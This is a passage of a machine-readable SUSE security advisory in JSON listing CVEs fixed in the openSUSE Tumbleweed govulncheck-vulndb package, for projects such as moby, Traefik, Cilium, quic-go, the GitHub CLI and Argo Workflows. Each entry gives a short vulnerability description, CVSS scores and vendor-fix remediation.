          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2024-10220",
          "url": "https://www.suse.com/security/cve/CVE-2024-10220"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1233583 for CVE-2024-10220",
          "url": "https://bugzilla.suse.com/1233583"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 8.1,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2024-12-11T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2024-10220"
    },
    {
      "cve": "CVE-2024-36620",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2024-36620"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "moby v25.0.0 - v26.0.2 is vulnerable to NULL Pointer Dereference via daemon/images/image_history.go.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2024-36620",
          "url": "https://www.suse.com/security/cve/CVE-2024-36620"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1234127 for CVE-2024-36620",
          "url": "https://bugzilla.suse.com/1234127"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2024-12-11T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2024-36620"
    },
    {
      "cve": "CVE-2024-36621",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2024-36621"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "moby v25.0.5 is affected by a Race Condition in builder/builder-next/adapters/snapshot/layer.go. The vulnerability could be used to trigger concurrent builds that call the EnsureLayer function resulting in resource leaks/exhaustion.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2024-36621",
          "url": "https://www.suse.com/security/cve/CVE-2024-36621"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1234131 for CVE-2024-36621",
          "url": "https://bugzilla.suse.com/1234131"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2024-12-11T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2024-36621"
    },
    {
      "cve": "CVE-2024-36623",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2024-36623"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "moby through v25.0.3 has a Race Condition vulnerability in the streamformatter package which can be used to trigger multiple concurrent write operations resulting in data corruption or application crashes.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2024-36623",
          "url": "https://www.suse.com/security/cve/CVE-2024-36623"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1234132 for CVE-2024-36623",
          "url": "https://bugzilla.suse.com/1234132"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 8.1,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2024-12-11T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2024-36623"
    },
    {
      "cve": "CVE-2024-37820",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2024-37820"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "A nil pointer dereference in PingCAP TiDB v8.2.0-alpha-216-gfe5858b allows attackers to crash the application via expression.inferCollation.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2024-37820",
          "url": "https://www.suse.com/security/cve/CVE-2024-37820"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2024-12-11T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2024-37820"
    },
    {
      "cve": "CVE-2024-43784",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2024-43784"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "lakeFS is an open-source tool that transforms object storage into a Git-like repository. Existing lakeFS users who have issued credentials to users who have been deleted are affected by this vulnerability. When creating a new user with the same username as a deleted user, that user will inherit all of the previous user\u0027s credentials. This issue has been addressed in release version 1.33.0 and all users are advised to upgrade. The only known workaround for those who cannot upgrade is to not reuse usernames.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2024-43784",
          "url": "https://www.suse.com/security/cve/CVE-2024-43784"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2024-12-11T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2024-43784"
    },
    {
      "cve": "CVE-2024-45719",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2024-45719"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Inadequate Encryption Strength vulnerability in Apache Answer.\n\nThis issue affects Apache Answer: through 1.4.0.\n\nThe ids generated using the UUID v1 version are to some extent not secure enough. It can cause the generated token to be predictable.\nUsers are recommended to upgrade to version 1.4.1, which fixes the issue.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2024-45719",
          "url": "https://www.suse.com/security/cve/CVE-2024-45719"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2024-12-11T00:00:00Z",
          "details": "low"
        }
      ],
      "title": "CVE-2024-45719"
    },
    {
      "cve": "CVE-2024-50948",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2024-50948"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "An issue in mochiMQTT v2.6.3 allows attackers to cause a Denial of Service (DoS) via a crafted request.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2024-50948",
          "url": "https://www.suse.com/security/cve/CVE-2024-50948"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2024-12-11T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2024-50948"
    },
    {
      "cve": "CVE-2024-52003",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2024-52003"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Traefik (pronounced traffic) is an HTTP reverse proxy and load balancer. There is a vulnerability in Traefik that allows the client to provide the X-Forwarded-Prefix header from an untrusted source. This issue has been addressed in versions 2.11.14 and 3.2.1. Users are advised to upgrade. There are no known workarounds for this vulnerability.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2024-52003",
          "url": "https://www.suse.com/security/cve/CVE-2024-52003"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2024-12-11T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2024-52003"
    },
    {
      "cve": "CVE-2024-52529",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2024-52529"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Cilium is a networking, observability, and security solution with an eBPF-based dataplane. For users with the following configuration: 1. An allow policy that selects a Layer 3 destination and a port range `AND` 2. A Layer 7 allow policy that selects a specific port within the first policy\u0027s range the Layer 7 enforcement would not occur for the traffic selected by the Layer 7 policy. This issue only affects users who use Cilium\u0027s port range functionality, which was introduced in Cilium v1.16. This issue is patched in PR #35150. This issue affects Cilium v1.16 between v1.16.0 and v1.16.3 inclusive. This issue is patched in Cilium v1.16.4. Users are advised to upgrade. Users with network policies that match the pattern described above can work around the issue by rewriting any policies that use port ranges to individually specify the ports permitted for traffic.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2024-52529",
          "url": "https://www.suse.com/security/cve/CVE-2024-52529"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2024-12-11T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2024-52529"
    },
    {
      "cve": "CVE-2024-52801",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2024-52801"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "sftpgo is a full-featured and highly configurable event-driven file transfer solution. Server protocols: SFTP, HTTP/S, FTP/S, WebDAV. The OpenID Connect implementation allows authenticated users to brute force session cookies and thereby gain access to other users\u0027 data, since the cookies are generated predictably using the xid library and are therefore unique but not cryptographically secure. This issue was fixed in version v2.6.4, where cookies are opaque and cryptographically secure strings. All users are advised to upgrade. There are no known workarounds for this vulnerability.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2024-52801",
          "url": "https://www.suse.com/security/cve/CVE-2024-52801"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2024-12-11T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2024-52801"
    },
    {
      "cve": "CVE-2024-53259",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2024-53259"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "quic-go is an implementation of the QUIC protocol in Go. An off-path attacker can inject an ICMP Packet Too Large packet. Since affected quic-go versions used IP_PMTUDISC_DO, the kernel would then return a \"message too large\" error on sendmsg, i.e. when quic-go attempts to send a packet that exceeds the MTU claimed in that ICMP packet. By setting this value to smaller than 1200 bytes (the minimum MTU for QUIC), the attacker can disrupt a QUIC connection. Crucially, this can be done after completion of the handshake, thereby circumventing any TCP fallback that might be implemented on the application layer (for example, many browsers fall back to HTTP over TCP if they\u0027re unable to establish a QUIC connection). The attacker needs to at least know the client\u0027s IP and port tuple to mount an attack. This vulnerability is fixed in 0.48.2.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2024-53259",
          "url": "https://www.suse.com/security/cve/CVE-2024-53259"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2024-12-11T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2024-53259"
    },
    {
      "cve": "CVE-2024-53264",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2024-53264"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "bunkerweb is an Open-source and next-generation Web Application Firewall (WAF). A open redirect vulnerability exists in the loading endpoint, allowing attackers to redirect authenticated users to arbitrary external URLs via the \"next\" parameter. The loading endpoint accepts and uses an unvalidated \"next\" parameter for redirects. Ex. visiting: `/loading?next=https://google.com` while authenticated will cause the page will redirect to google.com. This vulnerability could be used in phishing attacks by redirecting users from a legitimate application URL to malicious sites. This issue has been addressed in version 1.5.11. Users are advised to upgrade. There are no known workarounds for this vulnerability.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2024-53264",
          "url": "https://www.suse.com/security/cve/CVE-2024-53264"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2024-12-11T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2024-53264"
    },
    {
      "cve": "CVE-2024-53858",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2024-53858"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "The gh cli is GitHub\u0027s official command line tool. A security vulnerability has been identified in the GitHub CLI that could leak authentication tokens when cloning repositories containing `git` submodules hosted outside of GitHub.com and ghe.com. This vulnerability stems from several `gh` commands used to clone a repository with submodules from a non-GitHub host including `gh repo clone`, `gh repo fork`, and `gh pr checkout`. These GitHub CLI commands invoke git with instructions to retrieve authentication tokens using the `credential.helper` configuration variable for any host encountered. Prior to version `2.63.0`, hosts other than GitHub.com and ghe.com are treated as GitHub Enterprise Server hosts and have tokens sourced from the following environment variables before falling back to host-specific tokens stored within system-specific secured storage: 1. `GITHUB_ENTERPRISE_TOKEN`, 2. `GH_ENTERPRISE_TOKEN` and 3. `GITHUB_TOKEN` when the `CODESPACES` environment variable is set. The result being `git` sending authentication tokens when cloning submodules. In version `2.63.0`, these GitHub CLI commands will limit the hosts for which `gh` acts as a credential helper to source authentication tokens. Additionally, `GITHUB_TOKEN` will only be used for GitHub.com and ghe.com. Users are advised to upgrade. Additionally users are advised to revoke authentication tokens used with the GitHub CLI and to review their personal security log and any relevant audit logs for actions associated with their account or enterprise",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2024-53858",
          "url": "https://www.suse.com/security/cve/CVE-2024-53858"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2024-12-11T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2024-53858"
    },
    {
      "cve": "CVE-2024-53862",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2024-53862"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. When using `--auth-mode=client`, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}` or when using `--auth-mode=sso`, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}`. No authentication is performed by the Server itself on `client` tokens. Authentication \u0026 authorization is instead delegated to the k8s API server. However, the Workflow Archive does not interact with k8s, and so any token that looks valid will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does the equivalent of a `kubectl auth can-i` check for respective methods. In 3.5.7 and 3.5.8, the auth check was accidentally removed on the GET Workflow endpoint\u0027s fallback to archived workflows on these lines, allowing archived workflows to be retrieved with a fake token. This vulnerability is fixed in 3.6.2 and 3.5.13.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2024-53862",
          "url": "https://www.suse.com/security/cve/CVE-2024-53862"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
